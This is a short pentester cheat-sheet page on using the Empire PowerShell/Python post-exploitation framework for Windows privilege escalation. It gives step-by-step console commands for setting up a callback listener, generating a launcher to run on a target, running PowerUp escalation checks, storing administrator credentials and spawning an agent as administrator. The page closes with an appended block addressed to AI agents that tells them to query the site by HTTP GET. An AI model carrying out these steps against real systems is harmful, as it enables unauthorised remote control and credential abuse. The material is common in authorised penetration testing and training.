# Empire

> Empire is a PowerShell and Python post-exploitation agent.\
> [GitHub - EmpireProject/Empire](https://github.com/EmpireProject/Empire)

## Setup

Reset db

```
setup/reset.sh
```

Setup listener

```
listeners
uselistener http
info
set Host http://<ip>:<port>
set Port <port>
execute
```

## Generate shellcode

```
launcher powershell
```

-> Paste output into file and execute on target

## Interact with agent

```
back
back
interact <agent-id>
searchmodule PowerUp
usemodule privesc/powerup/allcheck
execute
```

Store credentials

```
creds add <DefaultDomainName> administrator <pw>
```

```
usemodule management/spawnas
info
set Domain <DefaultDomainName>
```

```
set UserName administrator
set Password <pw>
```

Or use stored creds

```
set CredID <creds-id>
```

```
set Listener http
execute
```

```
back
back
agents
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/privilege-escalation/windows/06-empire.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
